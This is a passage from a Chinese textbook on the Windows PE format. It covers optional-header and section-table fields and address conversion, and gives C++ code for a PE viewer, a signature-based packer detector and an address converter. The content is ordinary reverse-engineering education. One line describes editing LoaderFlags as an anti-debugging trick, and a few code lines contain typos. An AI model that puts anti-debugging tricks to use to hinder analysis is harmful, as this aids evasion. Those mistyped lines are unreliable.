（6） SizeOfOptionalHeader：该字段为 WORD 类型，占用两个字节。该字段指定IMAGE_OPTIONAL_HEADER 结构的大小。在图4-6 中，该字段的值为“E000”，即“0x00E0”，也就是 说IMAGE_OPTIONAL_HEADER的大小为0xE0。注意，在计算IMAGE_OPTIONAL_HEADER 的大小时应该从 IMAGE_FILE_HEADER 结构中的SizeOfOptionalHeader获取，而不应该直接使用sizeof(IMAGE_OPTIONAL_HEADER)获取。由该字段可以看出IMAGE_OPTIONAL_HEADER结构体的大小可能是会改变的。
 
（7）Characteristics：该字段为WORD类型，占用两个字节。该字段指定文件的类型。该字段取值如图4-8所示。
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  图4-8 文件类型取值 

 
从图4-6 可知，该字段的值为“0F 01”，即“0x010F”。该值表示该文件运行的目标平台为32位平台，是一个可执行文件，且不存在重定位信息，行号信息和符号信息已从文件中移除。
 

 
4.2.4 IMAGE_OPTIONAL_HEADER
 
IMAGE_OPTIONAL_HEADER在几乎所有的参考书中都被称作“可选头”。虽然被称作可选头，但是该头不是一个可选头，而是一个必须存在的头，不可以没有。该头被称作“可选头”认为是在该头的数据目录数组中，有的数据目录项是可有可无的，这部分内容是可选的，因此成为可选头。而我觉得如果称之为“选项头”是否会更好一点？不管如何称呼，只要大家能够理解该头是必须存在的，就可以了。
 
可选头紧挨着文件头，文件头的结束位置为 0x000000DF，那么可选头的起始位置为0x000000E0。可选头的大小在文件头中给出，其大小为0x00E0字节（十进制为224个字节），其结束位置为0x000000E0 + 0x00E0 - 1 = 0x000001BF，如图4-9 所示。
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  图4-9 可选头的内容 

 
可选头是文件头的一个补充，其中的字段除了对文件的一些定义外，还为操作系统提供了装载PE文件的相关定义。该头同样 有32位与64位版本之分，IMAGE_OPTIONAL_HEADER是一个宏，该宏的定义如下：
 
#ifdef _WIN64
 
Typedef IMAGE_OPTIONAL_HEADER64 IMAGE_OPTIONAL_HEADER;
 
typedefPIMAGE_OPTIONAL_HEADER64 IMAGE_OPTIONAL_HEADER;
 
#define IMAGE_SIZEOF_NT_OPTIONAL_HEADER IMAGE_SIZEOF_NT_OPTIONAL64_HEADER
 
#define IMAGE_NT_OPTIONAL_HDR_MAGIC IMAGE_NT_OPTIONAL_HDR64_MAGIC
 
#else
 
typedef IMAGE_OPTIONAL_HEADER32 IMAGE_OPTIONAL_HEADER;
 
typedef PIMAGE_OPTIONAL_HEADER32 PIMAGE_OPTIONAL_HEADER;
 
#define IMAGE_SIZEOF_NT_OPTIONAL_HEADER IMAGE_SIZEOF_NT_OPTIONAL32_HEADER
 
#define IMAGE_NT_OPTIONAL_HDR_MAGIC IMAGE_NT_OPTIONAL_HDR32_MAGIC
 
#endif
 
32位版本与64位版本的选择是根据是否定义了_WIN64而决定的，这里只讨论其32位的版本，IMAGE_OPTIONAL_HEADER32的定义如下：
 
typedef struct _IMAGE_OPTIONAL_HEADER {
 
WORD　Magic;
 
BYTE　MajorLinkerVersion;
 
BYTE　MinorLinkerVersion;
 
DWORD　SizeOfCode;
 
DWORD　SizeOfInitializedData;
 
DWORD　SizeOfUninitializedData;
 
DWORD　AddressOfEntryPoint;
 
DWORD　BaseOfCode;
 
DWORD　BaseOfData;
 
DWORD　ImageBase;
 
DWORD　SectionAlignment;
 
DWORD　FileAlignment;
 
WORD　MajorOperatingSystemVersion;
 
WORD　MinorOperatingSystemVersion;
 
WORD　MajorImageVersion;
 
WORD　MinorImageVersion;
 
WORD　MajorSubsystemVersion;
 
WORD　MinorSubsystemVersion;
 
DWORD　Win32VersionValue;
 
DWORD　SizeOfImage;
 
DWORD　SizeOfHeaders;
 
DWORD　CheckSum;
 
WORD　Subsystem;
 
WORD　DllCharacteristics;
 
DWORD　SizeOfStackReserve;
 
DWORD　SizeOfStackCommit;
 
DWORD　SizeOfHeapReserve;
 
DWORD　SizeOfHeapCommit;
 
DWORD　LoaderFlags;
 
DWORD　NumberOfRvaAndSizes;
 
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
 
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
 
该结构体的成员变量非常之多，为了能够很好地掌握该结构体，这里对该结构体的成员变量进行一一介绍。
 
（1）Magic：该成员变量指定了文件的状态类型，状态类型如图4-10所示。
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  图4-10 Magic变量取值 

 
（2）MajorLinkerVersion：主链接版本号。
 
（3）MinorLinkerVersion：次链接版本号。
 
（4）SizeOfCode：代码节的大小，如果有多个代码节的话，就是它们的总和。该处是指所有包含可执行属性的节的大小。
 
（5）SizeOfInitializedData：已初始化数据块的大小。
 
（6）SizeOfUninitializedData：未初始化数据块的大小。
 
（7）AddressOfEntryPoint：程序执行的入口地址，该地址是一个相对虚拟地址，该地址简称EP。如果加壳后，找到了该地址，就被称作了OEP。该地址指向的不是main()，也不是WinMain()的地址，该地址指向了运行库代码的地址。对于DLL这个值的意义不大，因为DLL甚至可以没有DllMain()函数，没有DllMain()是无法捕获DLL的4个消息的。
 
（8）BaseOfCode：代码段的起始相对虚拟地址。
 
（9）BaseOfData：数据段的起始相对虚拟地址。
 
（10）ImageBase：文件被装入内存后的首选建议装载地址。对于EXE文件来说，通常情况下该地址就是装载地址；对于DLL来说，可能就不是其装入内存后的地址了。
 
（11）SectionAlignment：节被装入内存后的对齐值。节被映射到内存中需要对齐的单位。通常情况下0x1000，也就是4KB大小。Windows操作系统的内存分页一般为4KB。
 
（12）FileAlignment：节在文件中的对齐值。节在磁盘上是对齐单位。
 
（13）MajorOperatingSystemVersion：要求最低操作系统的主版本号。
 
（14）MinorOperatingSystemVersion：要求最低操作系统的次版本号。
 
（15）MajorImageVersion：可执行文件的主版本号。
 
（16）MinorImageVersion：可执行文件的次版本号。
 
（17）MajorSussystemVersion：要求最低子系统的主版本号。
 
（18）MinorSubsystemVersion：要求最低子系统的次版本号。
 
（19）Win32VersionValue：该成员变量是被保留的。
 
（20）SizeOfImage：可执行文件装入内存后的总大小。该大小按内存对齐方式对齐。
 
（21）SizeOfHeaders：PE头的大小，这个PE头泛指DOS头、PE头、节表的总和大小。
 
（22）CheckSum：校验和。对于EXE文件通常为0，对于SYS文件则必须有一个校验和。
 
（23）Subsystem：可执行文件的子系统类型。该值如图4-11所示。
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  图4-11 Subsystem值的意义 

 
（24）DllCharacteristics：指定DLL文件的属性。该值大部分时候为0。
 
（25）SizeOfStackReserve：为线程保留的栈大小。
 
（26）SizeOfStackCommit：为线程已经提交的栈大小。
 
（27）SizeOfHeapReserve：为线程保留的堆大小。
 
（28）SizeOfHeapCommit：为线程已经提交的堆大小。
 
（29）LoaderFlags：被废弃的成员值。MSDN 上的原话为“This member is obsolete”。但是该值在某些情况下还是会被用到的，比如针对旧版OD时，修改该值会起到反调试的作用。
 
（30）NumberOfRvaAndSizes：数据目录项的个数。该个数在PSDK中有一个宏定义，定义如下：
 
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES　16
 
（31）DataDirectory：数据目录表，由NumberOfRvaAndSize个IMAGE_DATA_DIRECTORY结构体组成。该数组中包含了输入表、输出表、资源等数据的 RVA。
 
IMAGE_DATA_DIRECTORY的定义如下：
 
typedef struct _IMAGE_DATA_DIRECTORY {
 
DWORD　VirtualAddress;
 
DWORD　Size;
 
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
 
该结构体的第一个变量为该目录的相对虚拟地址的起始值，第二个是该目录的长度。数据目录中的部分成员在数组中的索引如图4-12所示。
 

 [image: figure_0100_0072]

 

  图4-12 数据目录部分成员在数组中的索引 

 
在数据目录中，并不是所有的目录项都会有值，有很多目录项的值都为0。
 
这个可选头的结构体就介绍完了，希望大家按照对结构体中各成员变量的掌握自行学习可选头中的十六进制的字段，这样有助于我们对PE文件格式的分析，加快对PE文件格式的掌握。
 

 
4.2.5 节区详解IMAGE_SECTION_HEADER
 
节表的位置在IMAGE_OPTIONAL_HEADER的后面，节表中的每个IMAGE_SECTION_HEADER 中都存放着可执行文件被映射到内存中所在位置的信息，节的个数由IMAGE_FILE_HEADER中的NumberOfSections给出，希望大家没有忘记。该内容如图4-13所示。
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  图4-13 IMAGE_SECTION_HEADER位置的数据内容 

 
IMAGE_SECTION_HEADER 的结构体起始位置在 0x000001C0 处，结束位置在0x00000237处，IMAGE_SECTION_HEADER的大小为40个字节，该文件有3个节表，因此占用了120个字节。
 
IMAGE_SECTION_HEADER结构体的定义如下：
 
typedef struct _IMAGE_SECTION_HEADER {
 
BYTE　Name[IMAGE_SIZEOF_SHORT_NAME];
 
union {
 
DWORD　PhysicalAddress;
 
DWORD　VirtualSize;
 
} Misc;
 
DWORD　VirtualAddress;
 
DWORD　SizeOfRawData;
 
DWORD　PointerToRawData;
 
DWORD　PointerToRelocations;
 
DWORD　PointerToLinenumbers;
 
WORD　NumberOfRelocations;
 
WORD　NumberOfLinenumbers;
 
DWORD　Characteristics;
 
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
 
这个结构体相对于IMAGE_OPTIONAL_HEADER来说成员变量少很多，下面逐一进行介绍。
 
（1）Name：该成员变量保存节的名称，节的名称用 ASCII 编码来保存。节名的长度为IMAGE_SIZEOF_SHORT_NAME，这是一个宏，该宏的定义如下：
 
#define IMAGE_SIZEOF_SHORT_NAME 8
 
节名的长度为8个字节，多余的字节会被自动截断。通常情况下节名以“.”为开始，当然这是编译器的习惯。我们看一下图4-13 的前8 个字节的内容为“2E 74 65 78 74 00 00 00”，其对应ASCII字符为“.text”。
 
（2）VirtualSize：该值为数据实际的节区大小，该值不一定为对齐后的值。
 
（3）VitualAddress：该节区载入到内存后的相对虚拟地址。这个地址是按内存进行对齐的。
 
（4）SizeOfRawData：该节区在磁盘上的大小，该值通常是对齐后的值，但是也有例外。
 
（5）PointerOfRawData：该节区在磁盘文件上的偏移值。
 
（6）Characteristics：节区属性。该属性的值如图4-14所示。
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  图4-14 节区属性取值 

 
关于IMAGE_SECTION_HEADER的介绍就到这里了。
 

 
4.2.6 与PE结构相关的3种地址
 
下面介绍一下与PE结构相关的3种地址，分别是VA（虚拟地址）、RVA（相对虚拟地址）和FileOffset（文件偏移地址）。
 
VA（虚拟地址）：PE文件映射到内存后的地址。
 
RVA（相对虚拟地址）：相对虚拟地址是内存地址相对于映射基地址的偏移地址。
 
FileOffset（文件偏移地址）：相对PE文件在磁盘上的文件开头的偏移量。
 
这3个地址都是和PE文件结构密切相关的，前面简单地引用过这几个地址，但是前面只是个概念。从了解节区开始，这3个地址的概念就非常重要了，否则后面的很多内容都将没法理解。
 
这3个概念之所以重要，是因为我们要不断地使用它们，而且三者之间的关系也很重要。每个地址之间的转换也很重要，尤其是VA和FileOffset的转换，还有RVA和FileOffset之间的转换。这两个转换不能说是复杂，但是需要一定的公式。而VA和RVA的转换就非常得简单与容易了。
 

 [image: figure_0102_0075]

 

  图4-15 PE文件映像 

 
PE 文件在磁盘上和在内存中的结构是一样的。所不同的是，在磁盘上文件是按照IMAGE_OPTIONAL_HEADER的FileAlignment值进行对齐的。而在 内存中，映像文件是按照IMAGE_OPTINAL_HEADER 的 SectionAlignment 进行对齐的。这两个值前面已经介绍过了，这里再进行一个简单的回顾。FileAlignment是按照磁盘上的扇区为单位的，也就是说FileAlignment最小为512字节，十六进制的0x200字节。而SectionAlignment 是按照内存分页为单位来对齐的，其值为4KB ，也就是十六进制的 0x1000 字节。一般情况下， FileAlignment的值会与SectionAlignment的值相同，这样磁盘文件和内存映像的结构是完全一样的。当 FileAlignment的值和 SectionAlignment 的值不相同的时候就存在一些细微的差异了，其差异的主要区别在于，根据对齐的实际情况而多填充了很多0值。PE文件映射如图4-15所示。
 

 
4.2.7 3种地址的转换
 
当FileAlignment和SectionAlignment的值不相同时，磁盘文件与内存映像的同一数据在磁盘和内存中的偏移也不相同，这样两个偏移就发生了一个需要转换的问题。当你知道某数据的RVA的时候，想要在文件中读取同样的数据，就必须将RVA转换为FileOffset。反之，也是同样的情况。
 
下面用一个例子来学习如何进行转换。还记得前面为了分析 PE 文件结构而写的那个用MessageBox()输出“Hello World”的例子程序吧？我们用PEDI 打开它，查看它的节表情况，如图4-16所示。
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  图4-16 节表内容 

 
从图4-16的标题栏可以看到，这里不叫“节表”而叫“区段”，还有别的资料上称之为“区块”，这个只是叫法不同，内容都是一样的。
 
从图 4-16 中可以看到，节表的第一个节区的节名称为“.text”。通常情况下，第一个节区都是代码区，入口点也通常指向这个节区。在早期壳不流行时，通过判断入口点是否在第一个节区来判断该程序是否为病毒，如今这种做法就不可靠了。我们关键要看的是“R.偏移”，这个表明了该节区在文件中的起始位置。PE头部，包括DOS头、PE头和节表，通常不会超过512个字节，也就是说，不会超过0x200的大小。如果这个“R.偏移”为0x00001000，那么通常情况下可以确定该文件的磁盘对齐大小为0x1000。测试验证一下这个程序，看到“V.偏移”与“R.偏移”相同，则说明磁盘对齐与内存对齐是一样的，这样，就没办法完成演示转换的工作了。不过，可以人为地修改磁盘对齐大小，也可以通过工具来修改磁盘对齐的大小。这里，借助LordPE来修改其大小，修改方法很简单。先将要修改的测试文件复制一份，以与修改后的文件做对比。打开 LordPE，单击“重建 PE”按钮，然后再选择刚才复制的那个测试文件，如图4-17、图4-18所示。
 
PE重建功能中会压缩文件大小的功能，这里的压缩也就是修改磁盘文件的对齐值，避免过多的因对齐而进行补0，使其少占用磁盘空间。用PEID查看一下这个进行重建的PE文件的节表，如图4-19所示。
 
现在可以看到“V.偏移”与“R.偏移”的值不相同了，它们的对齐值也不相同了，大家可以自己验证一下FileAlignment和SectionAlignment的值是否相同。
 
现在我们有两个功能完全一样，而且 PE 结构也一样的两个文件了，唯一的不同就是其磁盘对齐大小不同。现在在这两个程序中分别寻找相同的数据，来学习不同地址之间的转换。
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  图4-17 LordPE界面 
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  图4-18 重建PE功能结果 
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  图4-19 重建PE后的节表 

 
先用OD打开未进行重建PE的测试程序，找到MessageBox()处要弹出的两个对话框的地址，如图4-20、图4-21所示。
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  图4-20 MessageBox()函数中所使用的字符串地址 
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  图4-21 两个字符串的地址 

 
从图4-20 和图4-21 中可以看到，字符串“hello world !”的虚拟地址（VA）为0x00405030。
 
相对虚拟地址（RVA）为VA 减去ImageBase（映像文件的装载虚拟地址），则RVA=VA– ImageBase = 0x00405030 – 0x00400000 = 0x00005030。由于 SectionAlignment 与FileAlignment的值相同，因此其FileOffset的值也为0x00005030，用C32ASM打开该文件查看0x00005030处，如图4-22所示。
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  图4-22 文件偏移0x00005030处的内容为“hello world!”字符串 

 
从这个例子中可以看出，当SectionAlignment和FileAlignment相同时，同一数据的RVA （相对虚拟地址）和FileOffset（文件偏移地址）相同。RVA的值是使用VA−ImageBase得到的。
 
再次用OD打开“重建PE”后的测试程序，同样找到MessageBox()函数使用的那个字符串“hello world !”，看其虚拟地址是多少。可以告诉大家，它的虚拟地址仍然是0x00405030。虚拟地址是 0x00405030 ，那么同样的用虚拟地址减去装载地址，相对地址的值仍然为0x00005030。用C32ASM打开该文件，看一下0x00005030地址处的内容，如图4-23所示。
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  图4-23 文件的末尾地址 

 
从图中可以看到，用C32ASM打开该文件后，文件的末尾偏移为0000379C，根本没有0x00005030这个偏移地址。这就是文件对齐与内存对齐的差异而引起的。这个时候，就要通过一些简单的计算把RVA转换FileOffset。
 
把RVA转换为FileOffset的方法很简单，首先要看一下当前的RVA或者是FileOffset属于哪个节。0x00005030这个RVA属于.data节。0x00005030这个RVA相对于该节的起始RVA地址0x00005000 来说偏移0x30 个字节。再看.data节在文件中的起始位置为0x00003400，以.data节的文件起始偏移0x00003400加上0x30个字节的值为0x00003430。用C32ASM看一下0x00003430这个地址处的内容，如图4-24所示。
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  图4-24 0x00003430文件偏移处的数据内容 

 
从图4-24 可以看出，该文件偏移处保存着“hello world !”字符串，也就是说将RVA 转换为FileOffset是正确的。通过LordPE工具来验证一下，如图4-25所示。
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  图4-25 用LordPE计算0x00005030的文件偏移 

 
我们再来回顾一下这个过程。
 
某数据的文件偏移 =该数据所在节的起始文件偏移 + （某数据的RVA–该数据所在节的起始RVA）。
 
除了上面的计算方法以外，还有一种计算方法，把节的起始RVA值减去节的起始文件偏移值，得到一个差值。然后再用 RVA 减去这个得到的差值就可以得到其所对应的 FileOffset了。大家可以对这种方法自行验证。
 
这3种地址相互的转换方法就介绍完了。如果没有理解，那么就反复地按照公式进行学习和计算。只要在头脑中建立了关于磁盘文件和内存映像的结构，那么理解起来就不会太吃力。在后面的例子当中，将会写一个类似LordPE中那样转换3种地址的程序，来加强理解。
 

 
4.3 PE查看器
 
写PE查看器并不是件复杂的事情，只要按照PE结构一步一步地解析就可以了。下面简单地解析其中几个字段内容，显示一下节表的信息。写的PE查看器如图4-26所示。
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  图4-26 PE查看器解析记事本程序 

 
PE查看器的界面就按照如图4-26所示的那样来设置，不过这个可以按照个人的偏好进行设置。编写该PE查看器的步骤为打开文件并创建文件内存映像，判断文件是否为PE文件并获得PE格式相关结构体的指针，解析基本的PE字段，枚举节表，最后关闭文件。我们需要在类中添加几个成员变量及成员函数，添加的内容如图4-27所示。
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  图4-27 在类中添加的成员变量及成员函数 

 
按照前面所说的顺序，依次实现添加的各个成员函数。
 
BOOL CPeParseDlg::FileCreate(char *szFileName)
 
{
 
BOOL bRet=FALSE;
 
m_hFile = CreateFile(szFileName,
 
GENERIC_READ | GENERIC_WRITE,
 
FILE_SHARE_READ,
 
NULL,
 
OPEN_EXISTING,
 
FILE_ATTRIBUTE_NORMAL,
 
NULL);
 
if ( m_hFile == INVALID_HANDLE_VALUE )
 
{
 
return bRet;
 
}
 
m_hMap = CreateFileMapping(m_hFile, NULL, PAGE_READWRITE | SEC_IMAGE, 0, 0, 0);
 
if ( m_hMap == NULL )
 
{
 
CloseHandle(m_hFile);
 
return bRet;
 
}
 
m_lpBase = MapViewOfFile(m_hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
 
if ( m_lpBase == NULL )
 
{
 
CloseHandle(m_hMap);
 
CloseHandle(m_hFile);
 
return bRet;
 
}
 
bRet = TRUE;
 
return bRet;
 
}
 
这个函数的主要功能是打开文件并创建内存文件映像。通常对文件进行连续读写时直接使用 ReadFile()和 WriteFile()两个函数，当不连续操作文件时，每次在 ReadFile()或者 WriteFile()后就要使用SetFilePointer()来调整文件指针的位置，这样的操作较为繁琐。内存文件映像的作用是把整个文件映射入进程的虚拟空间中，这样操作文件就像操作内存变量或数据一样的方便。
 
创建内存文件映像所使用的函数有两个，分别是CreateFileMapping()和MapViewOfFile()。下面分别介绍这两个函数，CreateFileMapping()函数的定义如下：
 
HANDLE CreateFileMapping(
 
HANDLE hFile,
 
LPSECURITY_ATTRIBUTES lpAttributes,
 
DWORD flProtect,
 
DWORD dwMaximumSizeHigh,
 
DWORD dwMaximumSizeLow,
 
LPCTSTR lpName
 
);
 
参数说明如下。
 
（1）hFile：该参数是CreateFile()函数返回的句柄。
 
（2）lpAttributes：是安全属性，该值通常是NULL。
 
（3）flProtect：创建文件映射后的属性，通常设置为可读可写 PAGE_READWRITE，如果需要按照装载可执行文件那样把文件映射入内存的话，那么需要使用SEC_IMAGE；
 
最后3个参数在这里为0。如果创建的映射需要在多进程中共享数据的话，那么最后一个参数设定为一个字符串，以便通过该名称找到该块共享内存。
 
该函数的返回值为一个内存映射的句柄。
 
MapViewOfFile()函数的定义如下：
 
LPVOID MapViewOfFile(
 
HANDLE hFileMappingObject,
 
DWORD dwDesiredAccess,
 
DWORD dwFileOffsetHigh,
 
DWORD dwFileOffsetLow,
 
SIZE_T dwNumberOfBytesToMap
 
);
 
参数说明如下。
 
（1）hFileMappingObject：该参数为CreateFileMapping()返回的句柄。
 
（2）dwDesiredAccess：想获得的访问权限，通常情况下也是可读可写FILE_MAP_READ、FILE_MAP_WRITE。
 
最后3个参数一般给0值就可以了。
 
按照编程的规矩，打开要关闭，申请要释放。那么对于 CreateFileMapping()的关闭需要使用CloseHandle()函数，对于MapViewOfFile()来说，要使用UnmapViewOfFile，该函数的定义如下：
 
BOOL UnmapViewOfFile(
 
LPCVOID lpBaseAddress　// starting address
 
);
 
该函数的参数就是MapViewOfFile()函数的返回值。
 
接着说PE查看器，文件已经打开，那么就要判断文件是否为有效的PE文件了，如果是有效的PE文件，那么就把解析PE格式的相关结构体的指针也得到。代码如下：
 
BOOL CPeParseDlg::IsPeFileAndGetPEPointer()
 
{
 
BOOL bRet = FALSE;
 
m_pDosHdr = (PIMAGE_DOS_HEADER)m_lpBase;
 
if ( m_pDosHdr->e_magic != IMAGE_DOS_SIGNATURE )
 
{
 
return bRet;
 
}
 
m_pNtHdr = (PIMAGE_NT_HEADERS)((DWORD)m_lpBase + m_pDosHdr->e_lfanew);
 
if ( m_pNtHdr->Signature != IMAGE_NT_SIGNATURE )
 
{
 
return bRet;
 
}
 
m_pSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)&(m_pNtHdr->OptionalHeader) + m_pNtHdr
 
->FileHeader.SizeOfOptionalHeader);
 
bRet = TRUE;
 
return bRet;
 
}
 
这段代码应该非常容易理解，继续看解析PE格式的部分吧。
 
VOID CPeParseDlg::ParseBasePe()
 
{
 
CString StrTmp;
 
// 入口地址
 
StrTmp.Format("%08X", m_pNtHdr->OptionalHeader.AddressOfEntryPoint);
 
SetDlgItemText(IDC_EDIT_EP, StrTmp);
 
// 映像基地址
 
StrTmp.Format("%08X", m_pNtHdr->OptionalHeader.ImageBase);
 
SetDlgItemText(IDC_EDIT_IMAGEBASE, StrTmp);
 
// 连接器版本号
 
StrTmp.Format("%d.%d",
 
m_pNtHdr->OptionalHeader.MajorLinkerVersion,
 
m_pNtHdr->OptionalHeader.MinorLinkerVersion);
 
SetDlgItemText(IDC_EDIT_LINKVERSION, StrTmp);
 
// 节表数量
 
StrTmp.Format("%02X", m_pNtHdr->FileHeader.NumberOfSections);
 
SetDlgItemText(IDC_EDIT_SECTIONNUM, StrTmp);
 
// 文件对齐值大小
 
StrTmp.Format("%08X", m_pNtHdr->OptionalHeader.FileAlignment);
 
SetDlgItemText(IDC_EDIT_FILEALIGN, StrTmp);
 
// 内存对齐值大小
 
StrTmp.Format("%08X", m_pNtHdr->OptionalHeader.SectionAlignment);
 
SetDlgItemText(IDC_EDIT_SECALIGN, StrTmp);
 
}
 
对于 PE 格式的基础信息来说，就是简单地获取结构体的成员变量，没有过多复杂的内容。获取导入表、导出表就要比获取基础信息要复杂了。关于导入表、导出表的内容将在后面介绍。接下来进行节表的枚举，代码如下：
 
VOID CPeParseDlg::EnumSections()
 
{
 
int nSecNum = m_pNtHdr->FileHeader.NumberOfSections;
 
int i = 0;
 
CString StrTmp;
 
for ( i = 0; i < nSecNum; i ++ )
 
{
 
m_SectionLIst.InsertItem(i, (const char *)m_pSecHdr[i].Name);
 
StrTmp.Format("%08X", m_pSecHdr[i].VirtualAddress);
 
m_SectionLIst.SetItemText(i, 1, StrTmp);
 
StrTmp.Format("%08X", m_pSecHdr[i].Misc.VirtualSize);
 
m_SectionLIst.SetItemText(i, 2, StrTmp);
 
StrTmp.Format("%08X", m_pSecHdr[i].PointerToRawData);
 
m_SectionLIst.SetItemText(i, 3, StrTmp);
 
StrTmp.Format("%08X", m_pSecHdr[i].SizeOfRawData);
 
m_SectionLIst.SetItemText(i, 4, StrTmp);
 
StrTmp.Format("%08X", m_pSecHdr[i].Characteristics);
 
m_SectionLIst.SetItemText(i, 5, StrTmp);
 
}
 
}
 
最后的动作就是释放动作了，因为很简单，这里就不给出代码了。整个 PE 查看器就算是写完了。
 

 
4.4 简单的查壳工具
 
前面的内容介绍了通过编程解析了PE文件格式的基础数据，对于PE文件格式的解析其实并不难，难点在于兼容性。我们从前面的学习中可以看到，在 PE 文件结构中大多用的都是偏移地址，因此，只要偏移地址和实际的数据相符，那么 PE 文件格式有可能是嵌套的。也就是说PE文件是可以变形的，只要保证其偏移地址和PE文件格式的结构基本就没多大问题。
 
对于 PE 可执行文件来说，为了保护可执行文件或者是压缩可执行文件，通常会对该文件进行加壳。接触过软件破解的人，应该都是清楚壳的概念的。关于壳的概念就不多说了，下面来写一个查壳的工具。
 
首先，用ASPack给前面写的程序加个壳，打开ASPack加壳工具，如图4-28所示。
 

 [image: figure_0110_0088]

 

  图4-28 ASPack加壳工具界面 

 
对测试用的软件进行一次加壳，不过在加壳前先用PEiD查看一下，如图4-29所示。
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  图4-29 PEiD查壳 

 
从图4-29 可以看出，该程序是Visual C++ 5.0 Debug 版的程序，其实该程序是用VisualC++6.0 写的，这是PEiD 识别有误的原因。不过只要用Visual C++6.0 进行编译选择Release版时，PEiD是可以正确进行识别的。使用ASPack对该程序进行加壳，加壳后再用PEiD查壳，如图4-30所示。
 
从图4-30中可以看出，PEiD识别出来文件被加过壳，且是用ASPack进行加壳的。PEiD是如何识别程序被加壳，加了哪种壳呢？在 PEiD 的目录下，有一个特征码文件，名为“userdb.txt”。打开这个文件，看一下大概内容，里边保存了壳的特征码。我们的任务就是来做一个这个壳的识别工具。
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  图4-30 用PEiD查看加壳后的文件 

 
壳的识别是通过特征码来进行的，特征码的提取通常是选择文件的入口处。壳会修改程序的入口处，因此对于壳的特征码来说选择入口处比较合适。我们的工具主要是用来学习和演示用的，因此写的查壳工具要能识别两种类型，第一种类型是可以识别用Visual C++6.0 编译出来的文件，第二种类型就是可以识别ASPack加壳后的程序，当然ASPack加壳工具的版本众多，这里只要能识别上面演示的那个版本的ASPack就可以了。
 
如何提取特征码呢？程序无论是在磁盘上，还是在内存中，都是以二进制的形式存在的。前面也提到过，特征码是从程序的入口处进行提取的，那么可以使用C32ASM以十六进制的形式打开这些文件，在入口处提取特征码，也可以用OD将程序载入内存后提取特征码。这里选择使用OD提取特征码。用OD载入未加壳的程序，如图4-31所示。
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  图4-31 OD载入未加壳文件的入口处 

 
可以看到这就是未加壳程序的入口处代码，在图4-31中，“十六进制”列中就是代码对应的十六进制编码，我们就是要提取这些十六进制编码。提取结果如下：
 
"\x55\x8B\xEC\x6A\xFF\x68\xC0\x54\x41\x00"\
 
"\x68\xF8\x26\x40\x00\x64\xA1\x00\x00\x00"\
 
"\x00\x50\x64\x89\x25\x00\x00\x00\x00\x83"\
 
"\xC4\x94"
 
根据这个步骤，把ASPack的特征码也提取出来，提取结果如下：
 
"\x60\xE8\x03\x00\x00\x00\xE9\xEB\x04\x5D"\
 
"\x45\x55\xC3\xE8\x01\x00\x00\x00\xEB\x5D"\
 
"\xBB\xED\xFF\xFF\xFF\x03\xDD\x81\xEB"\
 
"\x00\xB0\x01"
 
有了这些特征码，就可以开始编程了。先来定义一个数据结构，用来保存特征码，该结构如下：
 
#define NAMELEN 20
 
#define SIGNLEN 32
 
typedef struct _SIGN
 
{
 
char szName[NAMELEN];
 
BYTE bSign[SIGNLEN + 1];
 
}SIGN, *PSIGN;
 
利用该数据结构定义两个保存特征码的全局变量，定义如下：
 
SIGN Sign[2] =
 
{
 
{
 
// VC6
 
"VC6",
 
"\x55\x8B\xEC\x6A\xFF\x68\xC0\x54\x41\x00" \
 
"\x68\xF8\x26\x40\x00\x64\xA1\x00\x00\x00" \
 
"\x00\x50\x64\x89\x25\x00\x00\x00\x00\x83" \
 
"\xC4\x94"
 
},
 
{
 
// ASPACK
 
"ASPACK",
 
"\x60\xE8\x03\x00\x00\x00\xE9\xEB\x04\x5D" \
 
"\x45\x55\xC3\xE8\x01\x00\x00\x00\xEB\x5D" \
 
"\xBB\xED\xFF\xFF\xFF\x03\xDD\x81\xEB" \
 
"\x00\xB0\x01"
 
}
 
};
 
程序界面是在PE查看器的基础上完成的，如图4-32所示。
 
提取了特征码，对于查壳工作就剩特征码匹配了，这个非常简单，只要用文件的入口处代码和特征码进行匹配，匹配相同就会给出相应的信息。查壳的代码如下：
 
VOID CPeParseDlg::GetPeInfo()
 
{
 
PBYTE pSign = NULL;
 
// 定位文件入口位置
 
pSign = (PBYTE)((DWORD)m_lpBase + m_pNtHdr->OptionalHeader.AddressOfEntryPoint);
 
if ( memcmp(Sign[0].bSign, pSign, SIGNLEN) == 0 )
 
{
 
SetDlgItemText(IDC_EDIT_PEINFO, Sign[0].szName);
 
}
 
else if ( memcmp(Sign[1].bSign, pSign, SIGNLEN) == 0　)
 
{
 
SetDlgItemText(IDC_EDIT_PEINFO, Sign[1].szName);
 
}
 
else
 
{
 
SetDlgItemText(IDC_EDIT_PEINFO, "未知");
 
}
 
}
 
这样查壳的功能就已经完成了。
 

 [image: figure_0113_0092]

 

  图4-32 查壳界面 

 

 
4.5 地址转换器
 
前面介绍了关于PE文件的3种地址，分别是VA（虚拟地址）、RVA（相对虚拟地址）和 FileOffset（文件偏移地址）。3 种地址的转换如果始终使用手动来计算那是非常累的，因此通常的做法是借助工具来完成。前面介绍了使用LordPE来计算这3种地址的转换，现在来编写一个对这3种地址进行转换的工具。该工具如图4-33所示。
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  图4-33 地址转换器 

 
这个工具是在前两个工具的基础上完成的。因此，在进行计算的时候，应该先要进行“查看”，然后再进行“计算”。否则，该获取的指针还没有获取到。
 
在界面上，左边的3个按钮是“单选框”，单选框的设置方法如图4-34所示。
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  图4-34 对单选框的设置 

 
3 个单选框中只能有一个是选中状态，为了记录哪个单选框是选中状态，在类中定义一个成员变量m_nSelect。分别对3个单选框使m_nSelect为1、2和3三个值。关于界面的编程大家自己参考源代码，这里就不进行过多的介绍了。来看主要的代码。
 
在单击“计算”按钮后，响应该按钮的代码如下：
 
void CPeParseDlg::OnBtnCalc()
 
{
 
// TODO: Add your control notification handler code here
 
DWORD dwAddr = 0;
 
// 获取的地址
 
dwAddr = GetAddr();
 
// 地址所在的节
 
int nInNum = GetAddrInSecNum(dwAddr);
 
// 计算其他地址
 
CalcAddr(nInNum, dwAddr);
 
}
 
分别看一下GetAddr()、GetAddrInSecNum()和CalcAddr()的实现。
 
获取在编辑框中输入的地址内容的代码：
